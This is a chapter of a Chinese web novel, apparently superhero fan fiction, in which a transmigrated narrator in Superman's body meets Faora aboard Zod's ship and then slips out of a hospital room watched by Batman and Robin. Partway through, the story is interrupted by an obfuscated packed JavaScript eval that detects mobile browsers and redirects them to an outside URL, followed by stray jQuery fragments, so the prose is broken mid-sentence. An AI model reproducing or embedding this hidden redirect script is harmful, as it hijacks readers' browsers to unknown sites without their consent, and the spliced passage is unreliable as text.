作为一艘用来放逐的飞船,哪怕在佐德他们醒过来后就致力于改造成战舰,也依然保持着监狱的冷峻感。他们将各种不需要的拆解下去,我还看到了一些拆解后还来不及重新修补留下的痕迹。虽然曾在电影里早已看过,但真正踏入外星飞船却是第一次——自穿越后,我所经历的第一次有些太多。或许等我回家,我可以将这些事迹写出来告诉给我的好友听,她一定会嫉妒的将我晃来晃去,而后以我赔罪的一杯奶茶为结束。


    当然更多的是她会心疼的……每回想到过往,我的思绪都会不受控地发散。这不是一件好事,也许我得控制回想的频率了,在我还没成功之前,我不应该再触及到她们了。


    等回过神,我好奇地看着这艘飞船的建筑风格——以冷酷的黑色为主体。没有任何私人活动的迹象,他们看上去只是将这艘飞船当做飞船,而不是他们要一直住下去的地方。说起来,我其实从看到电影就不明白为什么几个看上去就是氪星最高武力的几个人被放逐就算了还能得到一艘可以航行的飞船这究竟是基于什么想法,或许是氪星特别的人文关怀。因为电影剧情,他们的种族能够自由行走的有些稀少和珍贵,而少了一个则是真的少一个。


    总之我的到来看得出来不太得其他人欢迎,不过这也仅仅是基于他们的大本营被陌生人入侵,他们沉默凶狠地看过来,盯着我走过去。如果是基于同族来说,我仔细一瞧,发现他们其实挺欢迎的,至少我已经在这处长廊看到了相同的两个氪星人出现了不下三次。


    作为唯一一位女性,菲奥拉显然也发现了,她头疼地叹了口气,为这些不成熟的男人。


    在佐德不对外营业时,担当外交的就是菲奥拉。因此她也理所当然的在这当卡尔的向导,用以介绍可以介绍的,增强卡尔的认同。


    她说:“孩子,你多少岁了?”


    ……


    我愣了一下,我还真不知道超人应该多少岁。


    [TE6,你设定了多少?]


    [算下来,您应该已经20岁了。]


    “20岁。”我诚实地说了出来。


    而后我看见菲奥拉愣了一下,然后皱起了眉头。她张了张嘴,我看见她耳朵上带着的不会引人注意的耳机闪过了一丝机械蓝光,想必背后还有佐德在听。


    菲奥拉迟疑了一会儿,她没预料到眼前的年轻人真有这么年轻。氪星人大部分是被催生长大的,在氪星环境下,他们失去了正常长大的机会,如佐德、如她自己就是这么长大,等到学习了一切应该学习的,他们就会被放出去战斗,如今已经很久了。


    但这不代表他们没有基本的年龄认知,更别说卡尔看上去就是正常长大,有着完好童年的模样,他没有垂垂暮年的死气,也没有麻木不堪的疲倦,他还在期待着明天。


    不像氪星本身,他们早已失去自然孕育的能力。所有同族都是从生命法典中诞生,从生下来就已经注定将成为什么。


    而眼前的这位年轻人,如菲奥拉曾经想象的那样。她想象过如果氪星人正常长大会是什么样子,而这份想法此刻正站在她面前。


    于是菲奥拉放缓了语气,像是不想惊扰她曾经的梦:“你很年轻,卡尔。你的养父母是怎么照顾你呢?”


    [……她为什么这种语气?]


    [您的重点应该是这个吗?]


    确实。这倒是没什么不能说的,毕竟按照电影剧情,就算他们知道超人在地球长大,在拉拢不成时,他们也会将对方关起,然后毫不留情地改造地球。


    于是我怀揣着应该有的,热烈的爱意朝她说:“他们对我很好,将我当做亲生的孩子。引导我去产生自我,亦保护着我的不同。他们爱我,正如我爱他们。”


    哦,听上去卡尔对他的父母非常在意。嗯……这倒好解决,到时候就允许那对好运的人类在氪星有一席之地好了,卡尔会感谢的。他会明白他的同族对他的爱不比其他种族少。菲奥拉一瞬间就决定了之后的方针。


    我直觉菲奥拉在想不好的事,但我也没办法打断她。毕竟她在听到我的话之后什么也没说,只是停顿了片刻,应该是在听佐德的指令。


    而后她才看过来说:“我们给你准备了一个房间,卡尔。你接下来可以睡在这艘飞船上。”


    [我被软禁了。]


    [这是您需要的。]


    [确实如此。]


    我只是没想到这么顺利。


    我当然清楚,就算一个年轻的,代表着未来的氪星人出现在他们面对,对他们表露对这颗星球深沉的爱意,也不会阻挡他们的步伐。甚至于如果这个年轻人阻拦了他们,他们会怀着深刻的歉意然后毫不犹豫的将年轻人杀死,他们不会内耗,他们只会愤怒地想:都怪这颗星球,让他们杀了一个年轻的同族!于是他们的征战、他们的铁骑会愈发偏激,直到目光所处之地不会再有任何不属于氪星的迹象。


    他们是一个合格的侵略者,这是我仔细观察他们的精神面貌后得出的结论。


    所以我来此,只是为了争取一个休息的时间,为双方找到一个戏剧性的台阶结束不会被双方满意的会晤。地球需要这点时间,所有人都心知肚明地走了下来,却没办法再多一步了。


    我不会自以为是地认为我出现就能将所有事情完美解决,那不过是个借口。但无论如何我都得为此献身,因为这是超人会做的事。


    我并不是电影里的那名超人,所以我并不会迷茫的去考虑人类是否值得,浪费那点时间。我只会坚定地去做,为我必要走的那条道路再往前犁一点,将这必要结束的电影再加速。


    ……


    “将军。”


    菲奥拉打开了控制室的大门,不出意外,他们目前小队的三个人都聚集在这里。


    佐德嗯了一声:“他怎么样?”


    菲奥拉明白这是在问卡尔。于是她说:“没察觉到生命法典的气息,它大概还在地球的某处。而卡尔,他被人类养得很好,不像我们。他的目光告诉我,他还有许多的明天,他爱着这颗星球,他会爱上氪星。”


    “那很好。”佐德说。“可他会阻拦我们,菲奥拉。他爱着这颗星球,他对氪星没有记忆,如果他是氪星人,如果他有我们的基因,他会为了他自认的故乡而战。”


    他看了过来:“你在为卡尔找借口,只因为你和他接触了。”


    菲奥拉安静了下来,她是清楚佐德说的是对的。她是期望一位年轻的氪星人知晓他的故乡究竟有多么美丽,可如果对方阻拦了他们……她重新抬起头,毫不留情地回复道:“那就杀了他。没人能阻碍我们回家。”


    ——


    我再一次的睁开了眼,或许那一周的休息就是为了我如今频繁的睁眼和闭眼。从昏迷中苏醒、到面见蝙蝠侠最后是入了飞船,仔细一算,竟然也才过将将两天的时间,倒是过的充足,等重新成为了谬论,才发现身体上的伤已经好全了。现如今体内有一股磅礴的力气,不再被重伤压制,完完全全地充盈了我的四肢,我仔细一寻思,大概足够让我一拳对准肘关节就能打折对方的手,如果蝙蝠侠拥有这种力量,那他其实对我挺好的,起码并没有上来武力威胁无辜伤病患者。


    人蛮好的,我感慨道。但这不妨碍我讨厌他。


    单人的VIP病房几乎必备的生活用品都有,一个镶嵌在墙壁的镜子正好解了我的好奇:这是一张可以描述为英俊的脸,黑色的头发此刻有些膨胀地张扬,不短也不长,刚刚好到了肩膀处。


    他还有着一双漂亮的幽绿色眼睛,在略显暗沉的灯光下像是藏着不少凶狠的怒意,而眼瞳——我将眼皮撑大,确认是红色的,区别于暗色的虹膜,瞳孔的颜色倒是鲜艳,保管叫人第一眼看过去就只会先看见一抹红色。


    出乎意料的眼睛……或许是我成为了漫画角色的证明。毕竟只有在这种类型里,这种眼睛才会普通的出现。而左眼的眼皮和下眼皮处各有一颗红色的痣,上下两个,连同眼瞳,成了一条线上的三个点。


    [这是你的审美?]我不免询问制造这具躯体的创造者。


    [……不是。]我听见TE6憋屈地说,[这是您的。]


    哦,那到没事了。而后我又离镜子远了点,预估了我的身高——不会低于一米八。明明有着恐怖的力量,身形却并不像蝙蝠侠那么庞大,恰当好处的肌理


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203090|181234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微微鼓起,肌肉明显却不会显得恐怖,只是会将身体衬托地更为精妙。这或许就是身体不是真正意义上的血肉之躯的好处了,因为我不用完全遵循能量守恒定律,只需要不是太突兀,稍微精瘦一点竟也觉得正常。


    [蝙蝠侠还在监视吗?]


    [没有。佐德的降临打乱了地球上所有人类的安排,所有人都在讨论他和超人。蝙蝠侠把全部注意力都放在了大都会,他预计明天早上就会以布鲁斯韦恩的身份到达大都会的韦恩分部集团。哥谭现在暂时由罗宾代班。]


    这是一个好消息,这说明如果我需要离开此刻正是最好的时机。


    TE6并不理解我的做法,于是它问。


    [您为什么要走?以您的表现来看,您其实完全可以正大光明地离开,蝙蝠侠不会阻拦你,他只会暗地监视。]


    [正是如此。]以己度人,若我先发现一位没有过往的涉及神秘案件的嫌疑人,在后续的会面中也没得到什么线索,那么哪怕后面他出院后再装作如何正常,我也会让他在监控下生活,直到他真正意义上没有任何破绽为止,但那会是一个长久的时间,也是被动之举。而哪怕蝙蝠侠还有很多事情要做,我也不会去赌他不会在我要做些什么的时候恰好没看见的可能性。


    既然早晚要离开又要受监视,为何不让主动权在我手上呢?让他来追着我的踪迹吧,总比我追着他的目光要好。


    于是罗宾在夜巡之际前来看一眼面对的就是空荡荡的房间。


    ——


    自佐德以宣告般的姿态降临地球后,也仅仅过了六个小时。蝙蝠侠在这段时间里正在全面分析这些外星人的弱点和他们的目的,以至于罗宾申请内线告知他谬论跑路后他难得的愣神,露出了一点这也能赶到一起的荒谬感的表情。


    但考虑到谬论的名字,或许是一种冷幽默。


    他不得不暂时把手上的分析抛之脑后,回应了罗宾:“发生了什么?”


    此刻罗宾正站在空无一人的病房前,他在半分钟前结束了夜巡后决定来看看这个浑身谜题的人,侦探无法拒绝谜题,他是侦探,所以他拒绝不了,很好理解。但随着他轻巧地落地后,房内除了他没有第二个人的呼吸,他就知道遭了,他就知道应该多放点监控和定位!


    罗宾并没有急着告诉蝙蝠侠,他习惯将所有线索掌握统合再告知他的导师,他寄希望于用这种方式让导师肯定他的能力,而好运的是他找到的线索总是对的。


    但现在他感到很棘手,他没有找到任何痕迹,一切的迹象表明这个人,这个自称为谬论的家伙躲过了他们布置的所有监视,就这么在牢房里失踪了。这简直是对蝙蝠家的挑衅!


    可这显然也不是他一个人该了解的,于是他打开了内线告知了蝙蝠侠这件事。在听到蝙蝠侠都略显愣神的语气后,罗宾承认他平衡了。就算听到蝙蝠侠之后命令的口吻,罗宾也接受了。


    蝙蝠侠:“回蝙蝠洞。”


    罗宾:“收到。”


    等到罗宾落在了蝙蝠洞里,蝙蝠侠已经打开了之前放在谬论病房的监视。他没有和蝙蝠侠打招呼,自顾自地就走了过去安静地看着。


    等看到画面里的人熟练地绕过了所有会触发警报的陷阱后,罗宾皱起了眉,又一次。


    “他太熟悉我们了,B。”


    蝙蝠侠并没有回复,谬论从开始就透着一股神秘,如今只不过是让他的嫌疑又重新回到了置顶。而他暂时的以他对谬论的刻画来看,他并不是这么冲动的角色。


    而后他将监控画面转移到了病房外,谬论没有躲开门口的监控,他看了过来,将那双漂亮的眼睛暴露在监视下,红色的瞳孔和监控闪烁的红点相得益彰然后缓缓地笑了一下,对着监控说了一句话,之后再找其他监控,他就那么失踪了,躲过了所有能让他留下痕迹的视线,从监控的视线中他实现了完美的逃离。


    蝙蝠侠学过唇语,他知道对方说了什么。


    他说:来找我吧,蝙蝠侠。


    “……”蝙蝠侠直起了身,他说,“有意思。”


    没看好人且允许谬论装模作样的敷衍是他的问题,蝙蝠侠接受这份挑战。